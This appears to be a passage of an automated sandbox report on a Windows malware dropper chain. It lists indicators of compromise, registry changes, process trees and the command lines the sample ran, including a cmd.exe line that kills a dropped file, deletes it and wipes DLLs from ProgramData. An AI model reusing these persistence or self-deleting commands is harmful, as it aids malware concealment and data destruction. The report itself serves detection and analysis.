Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	rundll32.exe

Creates scheduled task(s) 1 TTPs 11 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1340	schtasks.exe
880	schtasks.exe
5840	schtasks.exe
4476	schtasks.exe
2264	schtasks.exe
5028	schtasks.exe
628	schtasks.exe
6104	schtasks.exe
1180	schtasks.exe
3216	schtasks.exe
4224	schtasks.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

5680 timeout.exe
4960 timeout.exe
Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exe

pid process

3400 tasklist.exe
5044 tasklist.exe

pid	process
5680	timeout.exe
4960	timeout.exe

pid	process
3400	tasklist.exe
5044	tasklist.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

System Information Discovery

Processes:

Install.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

5248 taskkill.exe
5224 taskkill.exe

pid	process
5248	taskkill.exe
5224	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

Processes:

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Software\Microsoft\Internet Explorer\Toolbar
Set value (int)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\Locked = "1"
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser
Set value (data)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exexGWBZGY.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume	xGWBZGY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	xGWBZGY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	xGWBZGY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	xGWBZGY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket	xGWBZGY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	xGWBZGY.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "0"	xGWBZGY.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe

Modifies registry class 21 IoCs

Processes:

sonia_1.exerundll32.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	sonia_1.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02
Set value (data)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
Set value (data)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202
Set value (int)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\NodeSlot = "2"
Set value (data)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff
Set value (data)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 = 19002f433a5c000000000000000000000000000000000000000000
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0
Set value (data)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 00000000ffffffff
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags
Set value (data)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 14001f50e04fd020ea3a6910a2d808002b30309d0000
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1
Set value (data)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\MRUListEx = ffffffff
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2
Set value (str)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic"
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

pid process

896

pid	process
896

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

jfiag3g_gg.exesMnwcOh8L1t7QpzbkhklETkS.exesonia_2.exe

pid	process
840	jfiag3g_gg.exe
840	jfiag3g_gg.exe
4216	sMnwcOh8L1t7QpzbkhklETkS.exe
4216	sMnwcOh8L1t7QpzbkhklETkS.exe
2412	sonia_2.exe
2412	sonia_2.exe
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

896
Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

sonia_2.exeFtbxknprim.exejvurrah

pid process

2412 sonia_2.exe
5420 Ftbxknprim.exe
1252 jvurrah

pid	process
896

pid	process
2412	sonia_2.exe
5420	Ftbxknprim.exe
1252	jvurrah

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

WerFault.exef4tZe1uSD788Kxcqf1VkBD6_.exesMnwcOh8L1t7QpzbkhklETkS.exeKug_vwUsWj6Whw_NPQ_qvVw6.exeAppLaunch.exe570cef6f-75e4-4c1c-b53c-ae6f9084767c.exeAppLaunch.exe

description	pid	process
Token: SeDebugPrivilege	216	WerFault.exe
Token: SeDebugPrivilege	4504	f4tZe1uSD788Kxcqf1VkBD6_.exe
Token: SeDebugPrivilege	4216	sMnwcOh8L1t7QpzbkhklETkS.exe
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeDebugPrivilege	1952	Kug_vwUsWj6Whw_NPQ_qvVw6.exe
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeDebugPrivilege	4932	AppLaunch.exe
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeDebugPrivilege	4792	570cef6f-75e4-4c1c-b53c-ae6f9084767c.exe
Token: SeShutdownPrivilege	896
Token: SeCreatePagefilePrivilege	896
Token: SeDebugPrivilege	1816	AppLaunch.exe
Token: SeShutdownPrivilege	896

Suspicious use of FindShellTrayWindow 24 IoCs

Processes:

rundll32.exeAccostarmi.exe.pif

pid	process
5596	rundll32.exe
3152	Accostarmi.exe.pif
896
896
3152	Accostarmi.exe.pif
3152	Accostarmi.exe.pif
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896
896

Suspicious use of SendNotifyMessage 3 IoCs

Processes:

Accostarmi.exe.pif

pid process

3152 Accostarmi.exe.pif
3152 Accostarmi.exe.pif
3152 Accostarmi.exe.pif
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

cmd.exe

pid process

3324 cmd.exe
896
896

pid	process
3152	Accostarmi.exe.pif
3152	Accostarmi.exe.pif
3152	Accostarmi.exe.pif

pid	process
3324	cmd.exe
896
896

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

de2884ed8695c30e8e8a4795905dc2bd65f20f0eb467f56bfb2fb91a3a419e84.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.exesonia_6.exesonia_4.exesonia_1.exesonia_5.exe

description	pid	process	target process
PID 4024 wrote to memory of 2028	4024	de2884ed8695c30e8e8a4795905dc2bd65f20f0eb467f56bfb2fb91a3a419e84.exe	setup_installer.exe
PID 4024 wrote to memory of 2028	4024	de2884ed8695c30e8e8a4795905dc2bd65f20f0eb467f56bfb2fb91a3a419e84.exe	setup_installer.exe
PID 4024 wrote to memory of 2028	4024	de2884ed8695c30e8e8a4795905dc2bd65f20f0eb467f56bfb2fb91a3a419e84.exe	setup_installer.exe
PID 2028 wrote to memory of 1888	2028	setup_installer.exe	setup_install.exe
PID 2028 wrote to memory of 1888	2028	setup_installer.exe	setup_install.exe
PID 2028 wrote to memory of 1888	2028	setup_installer.exe	setup_install.exe
PID 1888 wrote to memory of 4000	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 4000	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 4000	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 3296	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 3296	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 3296	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 3324	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 3324	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 3324	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 2460	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 2460	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 2460	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 3212	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 3212	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 3212	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 3312	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 3312	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 3312	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 640	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 640	1888	setup_install.exe	cmd.exe
PID 1888 wrote to memory of 640	1888	setup_install.exe	cmd.exe
PID 3312 wrote to memory of 2292	3312	cmd.exe	sonia_6.exe
PID 3312 wrote to memory of 2292	3312	cmd.exe	sonia_6.exe
PID 3312 wrote to memory of 2292	3312	cmd.exe	sonia_6.exe
PID 3296 wrote to memory of 2412	3296	cmd.exe	sonia_2.exe
PID 3296 wrote to memory of 2412	3296	cmd.exe	sonia_2.exe
PID 3296 wrote to memory of 2412	3296	cmd.exe	sonia_2.exe
PID 4000 wrote to memory of 1180	4000	cmd.exe	sonia_1.exe
PID 4000 wrote to memory of 1180	4000	cmd.exe	sonia_1.exe
PID 4000 wrote to memory of 1180	4000	cmd.exe	sonia_1.exe
PID 2460 wrote to memory of 1296	2460	cmd.exe	sonia_4.exe
PID 2460 wrote to memory of 1296	2460	cmd.exe	sonia_4.exe
PID 2460 wrote to memory of 1296	2460	cmd.exe	sonia_4.exe
PID 3212 wrote to memory of 1280	3212	cmd.exe	sonia_5.exe
PID 3212 wrote to memory of 1280	3212	cmd.exe	sonia_5.exe
PID 3212 wrote to memory of 1280	3212	cmd.exe	sonia_5.exe
PID 2292 wrote to memory of 1672	2292	sonia_6.exe	sonia_6.tmp
PID 2292 wrote to memory of 1672	2292	sonia_6.exe	sonia_6.tmp
PID 2292 wrote to memory of 1672	2292	sonia_6.exe	sonia_6.tmp
PID 1296 wrote to memory of 2132	1296	sonia_4.exe	jfiag3g_gg.exe
PID 1296 wrote to memory of 2132	1296	sonia_4.exe	jfiag3g_gg.exe
PID 1296 wrote to memory of 2132	1296	sonia_4.exe	jfiag3g_gg.exe
PID 1180 wrote to memory of 4068	1180	sonia_1.exe	rUNdlL32.eXe
PID 1180 wrote to memory of 4068	1180	sonia_1.exe	rUNdlL32.eXe
PID 1180 wrote to memory of 4068	1180	sonia_1.exe	rUNdlL32.eXe
PID 1296 wrote to memory of 840	1296	sonia_4.exe	jfiag3g_gg.exe
PID 1296 wrote to memory of 840	1296	sonia_4.exe	jfiag3g_gg.exe
PID 1296 wrote to memory of 840	1296	sonia_4.exe	jfiag3g_gg.exe
PID 1280 wrote to memory of 1952	1280	sonia_5.exe	Kug_vwUsWj6Whw_NPQ_qvVw6.exe
PID 1280 wrote to memory of 1952	1280	sonia_5.exe	Kug_vwUsWj6Whw_NPQ_qvVw6.exe
PID 1280 wrote to memory of 1952	1280	sonia_5.exe	Kug_vwUsWj6Whw_NPQ_qvVw6.exe
PID 1280 wrote to memory of 216	1280	sonia_5.exe	dWsG9vjNssscQhAIA9sxv60J.exe
PID 1280 wrote to memory of 216	1280	sonia_5.exe	dWsG9vjNssscQhAIA9sxv60J.exe
PID 1280 wrote to memory of 216	1280	sonia_5.exe	dWsG9vjNssscQhAIA9sxv60J.exe
PID 1280 wrote to memory of 640	1280	sonia_5.exe	HehbsNAyj2Tjv0H1F_DeznR0.exe
PID 1280 wrote to memory of 640	1280	sonia_5.exe	HehbsNAyj2Tjv0H1F_DeznR0.exe
PID 1280 wrote to memory of 640	1280	sonia_5.exe	HehbsNAyj2Tjv0H1F_DeznR0.exe
PID 1280 wrote to memory of 1268	1280	sonia_5.exe	Conhost.exe

C:\Users\Admin\AppData\Local\Temp\de2884ed8695c30e8e8a4795905dc2bd65f20f0eb467f56bfb2fb91a3a419e84.exe
"C:\Users\Admin\AppData\Local\Temp\de2884ed8695c30e8e8a4795905dc2bd65f20f0eb467f56bfb2fb91a3a419e84.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4024

C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2028

C:\Users\Admin\AppData\Local\Temp\7zSCE7E585D\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zSCE7E585D\setup_install.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1888

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_3.exe
4⤵
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
PID:3324

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c sonia_5.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3212

C:\Users\Admin\AppData\Local\Temp\7zSCE7E585D\sonia_5.exe
sonia_5.exe
5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1280

C:\Users\Admin\Documents\Kug_vwUsWj6Whw_NPQ_qvVw6.exe
"C:\Users\Admin\Documents\Kug_vwUsWj6Whw_NPQ_qvVw6.exe"
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1952

C:\Users\Admin\Documents\dWsG9vjNssscQhAIA9sxv60J.exe
"C:\Users\Admin\Documents\dWsG9vjNssscQhAIA9sxv60J.exe"
6⤵
- Executes dropped EXE
PID:216

C:\Users\Admin\AppData\Local\Temp\570cef6f-75e4-4c1c-b53c-ae6f9084767c.exe
"C:\Users\Admin\AppData\Local\Temp\570cef6f-75e4-4c1c-b53c-ae6f9084767c.exe"
7⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:4792

C:\Users\Admin\Documents\0CyXB68WHYoaUU0obtZDTeE_.exe
"C:\Users\Admin\Documents\0CyXB68WHYoaUU0obtZDTeE_.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
PID:1720

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im 0CyXB68WHYoaUU0obtZDTeE_.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\0CyXB68WHYoaUU0obtZDTeE_.exe" & del C:\ProgramData\*.dll & exit
7⤵
PID:4672

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Suspicious use of SetThreadContext
PID:1268

C:\Windows\SysWOW64\taskkill.exe
taskkill /im 0CyXB68WHYoaUU0obtZDTeE_.exe /f
8⤵
- Kills process with taskkill
PID:5248

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:5680

C:\Users\Admin\Documents\4d85Sz8_s94cyxf_ZQiZsUS4.exe
"C:\Users\Admin\Documents\4d85Sz8_s94cyxf_ZQiZsUS4.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Checks processor information in registry
PID:3184

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
7⤵
- Blocklisted process makes network request
PID:4360

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
7⤵
- Blocklisted process makes network request
- Checks processor information in registry
- Modifies registry class
- Suspicious use of FindShellTrayWindow
PID:5596

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3184 -s 960
7⤵
- Program crash
PID:6036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3184 -s 1028
7⤵
- Program crash
PID:4324

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3184 -s 648
7⤵
- Program crash
PID:4764

C:\Users\Admin\Documents\hAMxttk3sWtXcZAL40v4h7w6.exe
"C:\Users\Admin\Documents\hAMxttk3sWtXcZAL40v4h7w6.exe"
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:4156

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:1816

C:\Users\Admin\Documents\aDqaRvX_ilyt5Y35D79OJPKa.exe
